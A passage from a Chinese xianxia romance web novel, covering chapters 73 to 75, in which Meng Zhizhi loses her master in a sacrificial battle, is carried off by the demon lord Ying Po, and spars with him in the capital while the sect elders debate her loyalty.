樊盈绣道:“那我?日后多给大师兄做糕点。” 云庭见她待人?熟稔,在人?界时?候又是官家之女, 与其他人?关系不错, 道:“师妹, 我?有?一事?想请教,如何算是和人?打好关系?” 樊盈绣心中更加喜悦, 云庭愿意信任她,正中她心坎。 她道:“师兄所言和人?打好关系是要到如何地步?” 云庭道:“大概就是让此人?不再?对我?冷眼相对。” 樊盈绣道:“此事?简单,真心对此人?就是。俗话说日久见人?心, 如果你一直对人?好,别人?是能感知得到的。敢问师兄说的此人?是男子还是女子?” 云庭道:“此事?还分男子和女子吗?” 樊盈绣道:“自然, 这女子和男子不同,男子与男子打起交道不谓吃酒玩乐,如果是女子……” 云庭道:“女子当如何?” 樊盈绣眸底一闪,道:“女子心思更为细腻,如果家境贫寒,就送些贵重的胭脂水粉,如果家境不错,就需要看她想要什么了。” 云庭道:“多谢师妹。” 他模样?着急,一看就要走。 樊盈绣喊住了他,道:“大师兄,糕点。” 云庭道:“我?已经吃过了,剩下的你就分给其他弟子吧。” 樊盈绣将那食盒硬塞到他手中,道:“这是送给大师兄的,我?不好再?送给其他人?,大师兄你拿着,慢慢吃。我?以后再?做就是了。” 云庭想她帮了他一个忙,就收下了这食盒,道:“多谢。” 樊盈绣道:“都?是我?该做的,大师兄别和我?客气。你快去忙你的事?。” 云庭点头,提着那食盒就走了。 当他背过身去,樊盈绣脸色一变。 究竟是哪个女弟子入了大师兄的眼? 孟枝枝收纳吐息,丹田几回轮转,她的感知更加清明了,当她睁眼的一瞬,就见云庭站在她跟前。 他将食盒放在了桌案上,道:“之前的事?是我?做错了,你想要寻你师父,我?会帮你的忙。” 孟枝枝不知他为什么突然转变了态度,道:“你能帮我?找到师父?” 云庭举起三指发誓道:“我?绝不食言。” 他又掏出一面铜镜,道:“此镜可看想探寻之人?,我?已帮你找到小桃仙和冥漆。” 那铜镜一现,一只小鼠在一颗小小的桃株旁吃着果实,这山洞四周都?被封闭,外人?进不去,而里?面灵气蓬勃,能看得出两?只妖怪都?活得安全健康。 孟枝枝拿起那面铜镜看着那一鼠一桃,又忍不住擦了擦眼角的泪。 云庭道:“如果你想见他们,我?就去定风坡将他们带出来。” 孟枝枝道:“别,他们在定风坡能受蓝倾庇佑,再?有?百年又能化身人?形。如此已经很好。谢谢你。” 云庭道:“你为什么要谢谢我??” 孟枝枝道:“我?知道你不是故意,虽然我?真的恨过你,但是我?的两?个朋友终究是受我?拖累,他们在我?身边并不安全。你能放过他们,成全我?的心愿,我?还是要谢谢你。” 云庭从?未安慰过女子,一时?紧绷的心态也放松下来,道:“最近鬼母四处游荡,还未抓住,夜间她必有?所行动,你自己当心,我?有?空会来看你。你师父的事?,我?答应了你,就一定会做到。” 孟枝枝道:“无真此人?与我?师父关系匪浅,我?猜测他可能没有?死,还希望你能在查验其他人?的时?候,帮我?找一找有?没有?像无真的人?。” 云庭道:“好。” 他快步出了天牢。 天色已暗,弟子们纷纷紧闭窗门。 云庭拿着通讯符,道:“可有发现异动?” 七位峰主都优选了一名弟子,聚集在一起,同他们夜间查探。 “暂无。” “我?这边有?几个弟子跑出去了,我?在跟踪他们。” “我?这里?也有?,他们去了不同方向。” 云庭道:“先将去过隐世的弟子打晕关进清幽阁,留一位会驱邪的弟子看守。峰主们都在找鬼母的踪迹,我?们要看好这群弟子们。” “那我?去看守。你们继续追踪,看看谁是鬼母的奸细。” …… 孟枝枝有?些心神不宁,她翻过身,侧躺着,枕着脑袋,闭上眼。 牢洞中,夜明珠忽地一亮一暗。 突然,一道剑风落下。 孟枝枝睁开眼,提剑而跳道:“是你,我?是不是说过再?有?第?二次,我?就杀了你。” 樊盈绣道:“你莫要贼喊捉贼,我?亲眼看见鬼母进来了。那些弟子就是你残害的,你故意令他们中邪,引得贤剑真君垂怜,好深的计谋。” 孟枝枝道:“此处没有?别的人?,你还给我?泼什么脏水!” 樊盈绣道:“我?今天就替天行道,除了你这恶魔!” 两?个人?打了起来,樊盈绣每一剑都?刺向孟枝枝的命脉。 孟枝枝将她一剑劈落,樊盈绣口吐鲜血,一半脸颊露出蛇鳞。 她道:“你修了妖道!难怪能与我?斗数个回合,你这是在自寻死路。” 樊盈绣面容扭曲,只一瞬她脸颊恢复如初,她突然像变脸了一般,眸中恐惧万分,道:“真君救命,孟枝枝要杀我?!” 贤剑真君一见她,道:“你怎么在此处?” 樊盈绣道:“我?原本?是要去见大师兄的,可是半路看见鬼母来了此处,结果撞见孟枝枝和鬼母商议。她就想杀了我?。” 贤剑真君四处查探,果然在洞壁中摸到了鬼母残留的粘液。 他逐渐将目光聚拢在孟枝枝身上。 孟枝枝道:“她在胡言乱语,我?根本?不知鬼母进来,她一来就要杀我?,我?是自保。而且她还修了妖道,真君若是不信,我?现在就叫她现出原形!” 她猛地拍出白玉如意,光华流转冲向樊盈绣。 樊盈绣发出惨烈的叫声,“真君,救命!” 贤剑真君出手,直接掏出一剑,刺在了孟枝枝的胸口。 孟枝枝双眸一震,道:“真君不信我??” 贤剑真君道:“孟芷,你怎么能当着我?的面残害同门?” 孟枝枝心中失落,道:“既然如此,我?没什么好说的了。樊盈绣,是赢破派你来的吧,你想要骗过天下人?,可我?偏偏不让!” 她双唇紧念咒语。 那白玉如意的光芒愈来愈烈,樊盈绣感知到自己皮肤都?在灼烧。 贤剑真君见状,只得道:“孟芷,你住手。你知道你在做什么吗?” 孟枝枝眸色坚决,道:“我?不祈求任何人?信任我?,我?能信的只有?自己。” 贤剑真君将那剑又刺得深了一分。 孟枝枝身形不稳,忍着剧痛。贤剑真君的剑术之下,她毫无挣扎之力。鲜血从?她的胸口缓缓流出,她紧咬住牙。 她不想死! 此刻白玉如意倒转,朝贤剑真君攻去。 一道苍白的身影现在孟枝枝跟前,道:“枝枝,快逃。” 孟枝枝浑身都?在战栗。 她开口道:“师父!” 贤剑真君见状,立刻收回了剑。 孟慕华将孟枝枝扶到一边,叹息道:“你这孩子怎么如此执着,冥漆都?能选择放下,你还放不下吗?今后就算师父不在你身旁,无人?伴你,你也要好好地活下去,放下执念,知道吗?” 孟慕华施展白玉如意,将贤剑真君和樊盈绣都?包裹了进去,三人?在强烈的光罩下,孟枝枝触碰不得,也听不见他们对话。 孟枝枝猛拍那光罩,痛哭流涕道:“师父,我?错了,你别丢下我?!我?不该去救小皇帝,我?宁愿跟师父一块死,也不要一个人?独活,师父不要,不要留下枝枝一个人?。” 孟慕华在光罩中听得心痛无比,她恢复神情,对贤剑真君道:“多年不见了。” 贤剑真君看着她,宛如隔世,道:“真的是你,木儿?” 孟慕华道:“木儿死了,早就随当初那个无真一块死了。我?现在是孟慕华,是孟枝枝的师父。我?的灵魂封印在这白玉如意之中,出来之后不久就会消散,你们现在都?想杀了我?徒儿,先过我?这关!” 贤剑真君道:“不,我?可以帮你重聚魂魄!” 孟慕华看着他,眼中深感厌恶,道:“如果当初的无真还活着,不会欺师灭祖,不会滥杀无辜。我?早就厌弃修仙界的勾心斗角,走到这高位,丧失一切,真就这么值得?” 她念及那白玉如意咒术,眼看要拉着二人?同归于尽。 此时?鬼母突然出现,道:“孟枝枝我?就带走了。” 孟慕华道:“想走!没门!” 她以身殉道,白光刺透了她的身体,牢洞中骤然明烈,宛如白昼。 鬼母唤出鬼孩,将自己团团包裹起来。 地动山摇,此方震动引起了六位峰主和另外几位弟子的注意,他们纷纷赶去。 孟枝枝身下燃起一个圆形光圈,孟慕华为她立下结界,护她不在这场打斗中受到伤害。 孟慕华道:“枝枝,这是我?唯一能为你做的事?了。以后,你要好好的,知道吗?” 孟枝枝早已泪流满面,道:“师父,难道我?做的梦是真的?” 孟慕华不忍心,双眸通红,道:“师父舍不得你,但如果能让你活下去,我?什么都?可以做到。你是我?在这世上唯一爱的人?,枝枝,不要辜负我?,以后切莫再?寻我?,也不要想着为我?报仇,一切都?是因果循环,我?只想让你开开心心地活着每一天。一路走来,你太苦了孩子,我?舍不得你,真的舍不得。” 孟枝枝道:“师父,我?最爱的人?也是您。枝枝不会寻死,枝枝会好好活下去。师父,如果有?来生?,你一定要来寻我?,我?会等你的,我?一定会等你。”她泣不成声。 孟慕华对她展露一个笑容道:“她曾断言我?与你只有?短短数年缘分,可我?不信宿命。我?选择自封灵魂,能换来伴你多日,现在还能与你说说话,做完这最后一件事?,我?无悔了。枝枝,不要相信宿命,如果世间万物一切注定,那就反了它。” 她渐渐消失在了孟枝枝的眼前。 鬼母未死,只有?一地的鬼孩尸体。贤剑真君和樊盈绣重伤,倒在地面。 鬼母朝她冲来。 孟枝枝拿出护她剑,以命相抵。 几位峰主同时?赶到,云庭看见鬼母袭击孟枝枝,立马上前斩击。 鬼母道:“你们这群臭道士,还不死心!我?的孩子们都?出来吧,将千霄宫的人?全给我?吃干净!” 牢洞中,无数鬼孩现身。 他们被邪魔缠绕得难分难解,云庭想要斩击那鬼母,却碰不到她的边。眼见着鬼母身体里?长?出无数触手,将孟枝枝抓在手中,她张开血盆大口,眼看就要将她吞入腹中。 一瞬之间,鬼母娇小的头颅被人?捏爆。 赢破残忍一笑,道:“孤什么时?候让你杀了她?孟芷,只能由?孤来杀知道吗?” 鬼母的头颅瞬间聚合,眼中具是怕意,她退下身去。 赢破将孟枝枝搂在怀中,勾起唇角,道:“我?找到你了,孟芷。” 孟枝枝还未出声,就看见漫天魔气朝她袭来,眼前什么都?看不见,只能看见赢破那幽深的双眸。 第73章 第 73 章 当孟枝枝睁开眼的一瞬, 她发现了自己又回了皇宫。 赢破正坐在她榻边,好暇以待地看着她。 孟枝枝道:“你想做什么?” 赢破道:“看你怎么回答孤。” 孟枝枝眸中不解,道:“你想说我为什么要舍弃你,我已经告诉过你答案, 要杀要剐随你的便?。” 赢破狠狠掐住她的下巴, 道:“你当真不怕死?” 孟枝枝道:“不怕。”她茶色的双眸波澜不惊。 赢破将她摁在床榻之?上, 道:“你想死, 孤偏不让你, 孤要看你受净折磨,向孤跪地求饶。” 孟枝枝一个反手,将他反压住,道:“你做梦。我绝不会向你投降。” 他的目光落到她嫣红的唇瓣,喉咙上下一动, “是?吗?那我们就试试。” 赢破伸出手,掐住了她的脖子,支起上半身,掐得她快要窒息。 孟枝枝费劲挣扎。 他现在果然魔力大增,光是?灵魂就能在千霄宫来?去自如, 现在她更?不是?他的对?手。 就在她快晕倒的一刻, 赢破松了手。 她捂着脖子, 剧烈喘气?,“怎么不继续, 还是?你心?中其实舍不得杀我?”她撑起身子,故意向赢破倾斜而去。 她额头饱满,眉眼似水, 琼鼻之?下是?圆嘟嘟的双唇。他不禁伸出大拇指,摸上她的双唇, 炽热的指尖传来?阵阵麻意。 孟枝枝往后一撤,赢破捉住她的双肩,强硬地不让她撤离。 他幽深的双眸像黑洞般吸收着周围的光芒,道:“怎么?你不是?想试试孤到底对?你有没有意思?,临阵又怕了?” 孟枝枝道:“我只是?不喜欢和别人有过分亲密的身体?接触。你这么在意,是?还喜欢着我?” 赢破眼眸一沉,将她的肩膀几乎都要捏碎,道:“你认为孤还喜欢你?” 孟枝枝道:“你大费周章地将我从千霄宫带出来?,不立刻要我的命,反而想把我放在你眼底下折磨,想看我求饶。凌恒魔君,你对?别的人也是?这么仁慈吗?”她轻轻地吐出每一个字,神色清明。 赢破将她往后一推,起身道:“你别想逼孤现在就杀了你。孟芷,你不敢死,你不是?已经答应了你师父要好好地活着吗?” 孟枝枝心?如坠了千斤铅石,他原来?早在山洞中看见了,就连师父为她画的光圈都被他冲破,她理当预料到的。 她嘴角一翘,道:“你不会真信了我那时说的话吧。这世上的人都说转世,可你见有谁真的转世了?如果真有转世,那些长老宫主羽化之?后,为什么不会被自己仙门找回继续修炼,仙脉怎么会多次面临断绝。我说那话,只是?想让师父放心?离去。师父已经死了,我是?死是?活又有什么关系?” 赢破满脸狰狞,道:“你就是?个满口谎言的人,孤就不信这世上没有什么你在乎的东西!” 孟枝枝道:“我如今两袖清风,无亲无故,你大可以试试。” 她正视着他,两个人对?视许久。 “孤差点忘了,你那两个好朋友死在了千霄宫的人剑下。”赢破顺着她的肩膀,将她的手反扣住,这个姿势宛如他从她身后搂着她一般,他温热的气?息吐在她的耳旁,“当日没来?得及处理那几个祸端,孤把千霄宫的人都杀掉,你说好不好?” 孟枝枝掐紧了掌心?,道:“怎么做是?你的事,与我无关。” “你当真是?无情无义至极。孤往日给了你信任的机会,你不接受,千霄宫愿意收留你,你也不关心?。孟芷,孤不会放过你。孤要你亲眼看着,这天下是?怎么在孤的手中一点一点摧毁殆尽。”赢破紧贴着她的脸庞,笑声癫狂。 孟枝枝眼中的冷意愈来?愈盛。 千霄宫万剑峰上,六位峰主正在审问樊盈绣。 樊盈绣道:“我真的不知道为什么鬼母会出现在天牢里,我当时是?想去找大师兄,大师兄曾向我请教了一个问题,我才想起还有些事忘记告诉他,可是?半路却看到一股黑气?溜进了那山洞中,这才跟了进去。” 铁炼真君道:“云庭,她所言是?真是?假?” 云庭紧皱的眉头能压死一只蚊子,道:“是?。弟子的确向她请教过问题。” 梧寒仙君打趣道:“看不出来?啊,你这小子平日里只和男弟子走得近,女?弟子们都躲着你走。这盈绣刚入门不久,你就有问题请教?” 樊盈绣立马解释道:“梧寒仙君,大师兄当真是?问我正经问题,我本来?想大师兄那么厉害的人,原来?也有烦忧,如果能为大师兄解忧,盈绣心甘情愿。”她脸上微微泛红,那眼中多情流转,这一幕不得不让六位峰主多想,是?不是?云庭早就看上了樊盈绣,而这樊盈绣也对?云庭有意,这才半夜按捺不住春心萌动,想两相私会。 铁炼真君,道:“胡闹!我们早就传布下去了,夜晚弟子都不许出门,不管你们二人之?间有什么约定,都不该乱了大事。” 云庭单膝下跪,道:“弟子愿意接受惩罚。” 樊盈绣道:“不,大师兄,此事皆因?我而起,该我去受惩罚,请诸位峰主不要惩罚大师兄。” 百花真君道:“云庭,你这小子桃花运不错啊。罢了,所幸我们将那鬼母彻底封印在锁妖塔,云庭一晚上也尽心尽力维护弟子安危,这惩罚就算了吧。” 铁炼真君道:“不行!这次是?我们都在,那下次他们二人如果因?为私情而不顾正事,我千霄宫的门规还有谁放在眼里,他们一人十鞭。” 无心?仙君道:“十鞭会不会太重?了?就罚他们闭门思?过罢。” 铁炼真君道:“门规如此,无心?师妹难道还想为他二人脱罪?” 云庭顿时抽出一道长鞭,往身后打了二十下,后背血肉模糊成?一片,道:“云庭认罚。” 樊盈绣焦急道:“大师兄!” 云庭道:“还希望各位峰主不要再?惩罚师妹,此事因?我而起,该以我结束。” 铁炼真君鼻腔发出重?重?的一声哼。 此时大门打开,贤剑真君驾祥云而来?,道:“铁炼师弟,你该罚的都罚了,弟子们无辜,谁又能预料得到后面的事?” 云庭一见贤剑真君,立马过去搀扶,道:“师父,您的伤还未痊愈,怎么就下床了。” 贤剑真君看着他苍白的脸,不由心?疼道:“我不来?,你是?不是?还要将所有罪责揽下?你这孩子真是?,有什么话就说清楚,不要总想着一个人把事情都担完了。你就一条命,能担得了几次?”他话音都是?对?云庭的责备,但实则六位峰主都听出贤剑真君对?铁炼真君处罚云庭的事极为不满。 铁炼真君道:“师兄,还没说清楚那孟芷到底什么身份,她是?不是?那鬼母派来?的奸细。依我看,那凌恒魔君罔顾性命,也要使用魂术将她带走,她的嫌疑洗脱不清。这樊盈绣也说了,她撞见了孟芷和那鬼母在交谈,如果是?这样,我不得不怀疑万剑峰上是?不是?还有其他邪魔派来?的暗桩。” 贤剑真君道:“樊盈绣当真这么说?”他的目光朝她射来?。 樊盈绣道:“其实当时我也没太看得清,就看见鬼母出现在孟芷身旁,一时焦急便?拔了剑,还好贤剑真君及时赶到。” 贤剑真君道:“铁炼师弟,那孟芷是?我亲口认证的内门弟子,倘若她真与那鬼母有勾结,我定让她死无葬身之?地。可她来?我万剑峰上,整日只与梅珊呆在一处,你说她是?奸细,又有什么证据?” 樊盈绣没想到到了这个时候,贤剑真君还要保她,嘴上便?紧闭,如今这把火可不能烧到她身上。 无心?仙君道:“可那孟芷偷了师兄的法器,那位弟子中邪时,她也在我的课上。” 贤剑真君道:“此事我已查明,我曾在人界游历之?时,遇到过一位散修,见他天资卓越,却不想拜入仙门之?下,便?有心?提点了两句。那法器数年前?就已丢失,那时孟芷都还未出生,她又如何偷得了我的法器。想来?我提点的那位散修自己琢磨出了心?诀,又传于了后人。结果这法器兜兜转转到了孟芷手里,她完全不知这法器来?历,的确是?无辜的。” 铁炼真君不屑道:“事情过去那么久,贤剑师兄竟然还能想得起来?,我真佩服师兄耳清目明,记忆力不减当年。你们都力保他们,抓不住这奸细,我峰上还有事,就不随你们在这里浪费时间了。”他挥袖,驾云而去。 无心?仙君叹了口气?,忧心?忡忡道:“倒是?我错怪那个孩子了,想她受到质疑被关在那天牢之?中,现在又被邪魔掳走,我实在心?中有愧。” 贤剑真君道:“那孩子命苦,无父无母,被师父一手带大,她师父又不知下落,无人可依。我想下界一趟,将她带回。” 云庭道:“师父,您伤势还未愈,就由我去吧。” 贤剑真君侧目。 云庭道:“我答应过她帮她找到师父,现在不光没有找出她师父的下落,昨晚我还只顾及了其他弟子,独独忘了她,弟子愿意补偿。” 贤剑真君道:“庭儿,你终于听进去了师父的话,为师感到甚为欣慰,只是?那凌恒魔君法力高强,不是?你能对?抗得了的,此事我去,你要替师父守好万剑峰。这些日子,就劳烦几位师弟师妹多多帮衬,庭儿还年轻,如果做出什么不小心?得罪了你们的事,我先?替他道个歉。” “师兄言重?了。”百花真君道。 “是?啊,师兄,庭儿也是?我们的亲师侄,这些都是?我们该做的。”无极真君说完此言,梧寒真君也跟着应和。 无心?仙君掐指一算,道:“师兄此次下界,危机重?重?,还望多加小心?。等到时候孟芷回来?,我亲自向她道歉。” 贤剑真君脚下浮现祥云,他一手挽在身前?,一手背在身后,飘离远去。 第74章 第 74 章 见众峰主散去, 樊盈绣立马上前扶住云庭道?:“大师兄,我送你?回去吧。” 云庭一挥手,道?:“不必了。” 樊盈绣道?:“大师兄是不是心中埋怨我?我的确急功近利,以为自己能?找出鬼母踪迹, 能?让真君和?大师兄尽快认可我。我也?没有?想到, 大师兄会因?为我受了罚, 我……对不起?大师兄。”她垂落的眼中似是委屈, 用手帕捂住口鼻。 云庭道?:“保护千霄宫弟子?安危是我的职责所在, 换做任何一个弟子?在此,我都会这样做。你?我始终男女有?别,还是保持距离,免得被人误会。” 樊盈绣道?:“我不怕被误会!” 云庭皱起?眉头。 樊盈绣眼波流转,道?:“大师兄, 我心悦于你?。盈绣自知大师兄有?鸿鹄之志,又身居高位。我只盼能?为大师兄多做点事,只要大师兄能?记得盈绣一点点的好,盈绣便已甘之如饴。” 云庭几欲张口,道?:“我对你?无意。如果我之前的请教让你?产生了误会, 我撤回那些话。你?就?当从来没有?发生过此事, 今天你?说的话我都会忘记。” 樊盈绣道?:“大师兄!你?当真连一点念想都不留给我?” 云庭提着步伐, 向外走出去。樊盈绣见状,咬紧牙根, 道?:“大师兄,我那日?亲眼所见孟芷的师父出现,贤剑真君亲昵地唤孟芷的师父为木儿。” 云庭止住脚步, 扭头道?:“你?说什么?” 樊盈绣道?:“大师兄你?确定要和?我保持距离吗?若是我将这些都告诉你?,你?就?不能?赶我走。” 云庭不知道?为什么她如此执着于他, 道?:“你?究竟想要什么?” 樊盈绣目光落到他那张冰封似的脸,他剑眉星目,宛如高岭之花,他越是不让人接近,她便越想让这朵高岭之花低下头来。 她手指将发丝卷了又卷,道?:“大师兄莫说我欺负你?,我也?是无可奈何,我只是想能?呆在你?身边,谁叫你?说话那么绝情。” 云庭脸色更冷,道?:“你?不图修炼,反倒痴缠于我,荒唐!” 樊盈绣走上前,笑得几分?张扬道?:“大师兄怎知我不图修炼?你?太过避世,我樊盈绣修炼也?要,人也?要。我在人界苦修剑术,好不容易走到这一步,让我轻易放弃,怎么可能?!你?如果从我,我自然会对你?好。那晚上发生的事实在精彩,你?不是想替孟芷找到师父吗?我不光知道?她师父的下落,还知道?更多。现在我想送大师兄回房,大师兄你?觉得呢?”她上前搀扶住他的胳膊。 云庭目光落到她挽住他的手上,似挣扎许久,道?:“走吧。” 樊盈绣笑靥如花道?:“好。” 二人缓缓走出殿外。梅珊早在此等候,见二人举止亲昵,震惊道?:“大师兄,师妹,你?们……” 云庭道?:“梅珊你?回去。” 樊盈绣脸上几分?羞意,只望着云庭。 梅珊听着大师兄冷冷赶她走,脸色变得煞白。 樊盈绣丢给她一个抱歉的目光,二人款款而去。 皇城里极为热闹,孟枝枝现身于此,身后?还跟着一个人。 她一点目光也?不施舍给他,四?处闲逛。自从赢破自封为凌恒魔君之后?,许多百姓外逃,赢破又下了一道?令旨,鼓励妖怪和?散修来此经商,并且给予正式的鱼符身份,隐世有?些胆子?大的散修和?妖怪都来到了皇城里摆摊,这里的热闹一点都不输于往日?。 “这位娘子?,快来看看我鸟族的金羽钗,一只鸟妖一年才能?诞生出一根金羽!一根金羽钗可花了十年呢!” 孟枝枝被这声吆喝吸引了过去,那摊主十分?热情,直接将金羽钗插进了她头发上,羽毛金光闪闪,随风微飘。 “娘子?当真是仙人之姿,一般人可驾驭不住这金羽钗,瞧娘子?戴得多柔美动人啊。这位郎君,快看看你?的娘子?。” 赢破上前一步,从袖中掏出一袋金叶子?,道?:“你?这摊上所有?的钗子?,我都买了。” 孟枝枝取下那金羽钗交予那摊主道?:“我与?他不认识。” 摊主几分?尴尬,眼见赢破从她手中拿起?那金羽钗又插进了孟枝枝的头发里。 摊主立马捧着这一袋厚重的金叶子?,喜得合不拢嘴,道?:“小两口吵架是常事,娘子?看郎君多体贴大方,就?别和?郎君计较了。这金羽钗小店立马给你?包起?来。” 摊主立马叫来一个小孩子?,小孩子?顶着一张鸟脸,一看便知道?他力量弱小,还不会化人形,只见他年龄虽小,却?很?熟练地将所有的钗用紫藤花条编织的妆匣打包装好。妆匣上面正开着紫藤花,看着十分?精致,他双手递给到了赢破手中。 小鸟妖热情地挥手,道?:“贵客,欢迎下次再来。” 赢破心情看着似乎很不错,还笑着对二妖挥挥手。 孟枝枝气得往外走,手往头上伸。 赢破快步跟上,道?:“你?要是敢取下,我立马回头杀了那两只妖怪。” 孟枝枝道?:“你到底想怎么样?我没空跟你?玩家家酒的游戏。” 赢破道?:“看你?心里不舒服,我心里就?舒服了。” 孟枝枝气笑了,道?:“是吗?那你?最好跟着我,寸步不离,要是离开一步,你?就?输了。” 她头上顶着那只钗,羽毛随她大步而跳动,就?像一只张牙舞爪的小妖精,赢破嘴角忍不住翘了翘。 孟枝枝所到一个地方,就?将东西全?部抱走,用手一指,道?:“你?们找他要钱。” 各位摊主笑眯眯地看着赢破摊开手。 赢破一袋又一袋钱送了出去,到最后?两袖空空,他看着那些找他要钱的摊主,眼睛刀得要杀人。 孟枝枝站在一旁,好暇以待,嘴里吐着瓜子?儿,静静看着风景。 赢破不得不召唤出魇灵给他送钱,魇灵听到此言,静默了半晌。 他低语道?:“陛下,不如对这些摊主亮明身份?” 赢破怒极反笑,道?:“你?是想让孤冠上吃白食的名声?” 魇灵道?:“属下错了,这些东西属下先替陛下带走。” 他又送了钱,又扛着两麻袋的东西离开,集市上的人皆看着他滑稽的样子?,心里在想今日?是遇到什么傻人往外撒钱啊。 赢破来到孟枝枝身旁,看她又不磕瓜子?儿了,讥讽道?:“怎么不继续了?是玩累了?” 孟枝枝拍了拍大腿的瓜子?儿皮,道?:“谁说的,我要去那个地方。” 她大步往一家店走去,屋檐上挂着宝石般闪烁的琉璃灯,上面拢上一层红纱,门口站着穿着各色颜色的美人。 为首一个穿着妖艳的花妖召唤道?:“各位贵客快来啊,我美仙院今日?开业,承办选花魁大会,酒水全?免。” 她提着裙,走到孟枝枝跟前,形态妖娆,声音嗲嗲道?:“小娘子?不如进去瞧瞧?” 孟枝枝笑道?:“好啊。” 她回头朝赢破露出一个挑衅的目光,花妖挽住孟枝枝的胳膊。 赢破死盯着她挽着孟枝枝的胳膊,立马挤开了她,握住了孟枝枝的手,道?:“还没闹够?” 孟枝枝道?:“怎么,怕了吗?怕了你?就?回去啊,别跟着我。” 赢破目光越来越阴沉,看得花妖都胆战心惊,他忽而笑道?:“无妨,进去瞧瞧也?好。” 孟枝枝半眯着眼,空气里有?股杀气在汹涌。 花妖道?:“两位贵客,里面请。” 她引导着两人进去。里面更是人声鼎沸,共三层楼,底层有?个巨大的舞池,穿着微露风情的舞姬正在跳舞,四?处都坐满了宾客,甚至看到了一位朝中大臣。有?人一见赢破走了进来,脸色一变,赢破冷眼看了过去,那人只能?假装不知。 孟枝枝十分?放松,道?:“有?没有?上好的雅座?” 花妖腰肢摆动,道?:“自然是有?的,奴家这就?带小娘子?过去。” 他们在二楼正中央处选了个好位置。 刚一落下,就?有?人端来各色的水果和?糕点,还有?一壶酒,和?一些小菜。 孟枝枝磕着瓜子?,兴致勃勃地打量着舞池中央的舞姬。 赢破看她看得眼都直了,目光也?看向那舞姬,眼中深沉。 一舞一毕,孟枝枝拍手叫好。 此时,对面走来一个拂扇的人,像一个儒雅温和?的翩翩公子?,但身上散发着邪气,他身边站着几个随从,一看修为就?不低,引起?了孟枝枝一丝注意。 此时铜锣声一敲,她目光又转移到舞台上,舞姬已散去,美人登台,各色妖艳的男妖正在搔首弄姿。 孟枝枝很?想欣赏,但也?有?些吃力,这些男妖也?太太太妖娆了,有?点辣眼睛。 赢破红唇一勾,摄人心魄道?:“原来你?的品位是这样。” 孟枝枝道?:“是啊,这些男妖看着就?温柔至极,又会伏低做小,不会像一般臭男人自信狂妄,难道?你?不喜欢这样的女子??” “你?以为他们为什么如此?不过有?所企图。这世间最温柔的话也?是最狠厉的毒。”赢破剥起?瓜子?,眼眸里像憋着什么坏。 孟枝枝弯唇道?:“图什么我不在意,要的就?是处起?来舒服。看来响当当的凌恒魔君不喜欢温柔解语这挂,越是嘴毒,在你?眼中才越是温柔。” 她瞥了一眼台下的男妖们,他们打扮得比女人都还要花枝招展,一个一个就?像花孔雀一样,努力开屏,不停对台下抛着媚眼,眼睛跟被人反复拉闸一般,都不会抽筋。 她幽幽地在心里道?,这世道?男妖也?不容易。 展示完毕,只见花妖掐着腰肢上台。一众小厮端着一个红色金漆托盘走到各位宾客前,有?的宾客豪掷千金,翻了牌子?。 花妖看着那托盘上堆积如山的金银,眼睛都在发光,她清点一番,敲响铜锣,公布道?:“今日?花魁,阮香君。” 那位阮香君惊喜过甚,却?克制住,上前对诸位宾客轻柔地行了一个礼。 孟枝枝见他穿着一身轻纱,身姿瘦削,有?弱柳扶风之姿,模样确实是一等一的好,没有?其他男妓那么辣眼,看来群众的目光是雪亮的。 只见花妖引着阮香君道?:“今日?九重天君万两黄金胜出,能?与?花魁共度良宵一夜。” 全?场哗然,谁能?想到有?人一出马就?这般阔绰,果然是富庶的皇都,万两黄金,普通人这得花多少辈子?都花不完,这一夜就?投出去了。 只见那阮香君来了二楼,坐在了那位拂扇的翩翩公子?大腿上。这位公子?面不见霸气,这名字倒是霸气,竟叫什么九重天君。阮香君用嘴为他渡酒,九重天君看着一脸享受,还和?阮香君调起?了情,孟枝枝看得胳膊上鸡皮疙瘩冒了起?来。 她有?些受不了,将瓜子?壳散在桌上。 赢破道?:“这就?走了?” 孟枝枝道?:“没办法,要不你?给我钱,让我包下一位?” 赢破冷笑,道?:“你?大可试试。” 孟枝枝自知他才不会给她钱,起?身出了美仙院。 第75章 第 75 章 孟枝枝站在城墙之上, 看着漫天星光,她不?知道赢破葫芦里卖着什么药,他?不?主?动攻击仙门,反而号召妖怪和散修来皇城定居, 难道是因为?樊盈绣还在千霄宫中? 这些日子, 他?几乎天天与她共处, 她怎么不?舒服, 他?就对着来。她一点也搞不?明?白他?的想法。 城内万千灯火通明?, 街上一只狼妖正表演着头?碎大石,大石被他?一撞,就碎成了渣块,引得所有人拍掌叫好。 一个人类男子怀中抱着小孩,小孩伸出手摸了狼妖的头?, 惊讶道:“好硬的头?!我也想要!” 童言无忌,哄堂大笑。 孟枝枝也不?禁弯了弯嘴唇,察觉到赢破又跟了上来,她又恢复一脸冷色。 他?道:“孤当真就令你这么讨厌?在孤跟前,你连笑都?不?愿意笑一下。” 孟枝枝道:“要不?是你有言在先, 我还真以为?你对我有意思了。樊盈绣入了千霄宫, 是你故意放她走的吧?你对她是真的好, 她想要什么,你都?双手捧给她。” 赢破道:“你吃醋了?” 孟枝枝冷不?丁扯了扯嘴角, 道:“恩,全城的醋都?让我吃完了。谁也比不?得凌恒魔君,心胸博大, 已属意一女子,还能?与其?他?女子打情骂俏。” 赢破道:“你认为?孤是在跟你打情骂俏?孟芷, 你可真自?大。盈绣天生?高贵,她值得最好。而你满口谎言,只配与孤站在同一处凝视深渊。” 孟枝枝道:“我倒觉得你们绝配,在一块就是狼狈为?奸。” 赢破道:“这就是你身为?女子的品德?污言秽语。” 孟枝枝拍了拍手,道:“说得好,我这污言秽语就不?污了凌恒魔君的耳朵。” 她一走,赢破一时着急,握住她的手腕。 孟枝枝回头?道:“还想听我继续污言秽语下去吗?” 赢破乍然松开了她的手。 孟枝枝大摇大摆地回了自?己的寝殿。 赢破满脸怒容。 魇灵道:“陛下,您对她有心,何必用言语刺激她?” 赢破一把掐住他?的脖子,瞠目道:“孤会看得上她?孤要的就是折磨她,让她生?不?如死。” 魇灵看得明?白,明?明?那孟芷丝毫不?在意,生?气的反倒是赢破。 他?道:“属下知错。” 赢破将他?丢了出去,砸出一个深坑,道:“孤倒要看看她还能?撑多久!” 孟枝枝一回到寝殿,就看见一只白狐踩在了她的桌案上,她立马下了一道结界,以防外人踏入。 她试探道:“狐仙前辈。” 白狐开了口道:“你怎么知道是我?” 孟枝枝坐在蒲团上,掏出美酒,倒上一杯,道:“猜的。” 白狐饮了那杯中酒,神?情一振,“好酒。” 孟枝枝捧着脸,道:“这是我前年用咒枣酿的,精挑细选了好久,这几天才挖出来。你能?不?能?带我出去?” 白狐道:“带不?了。” 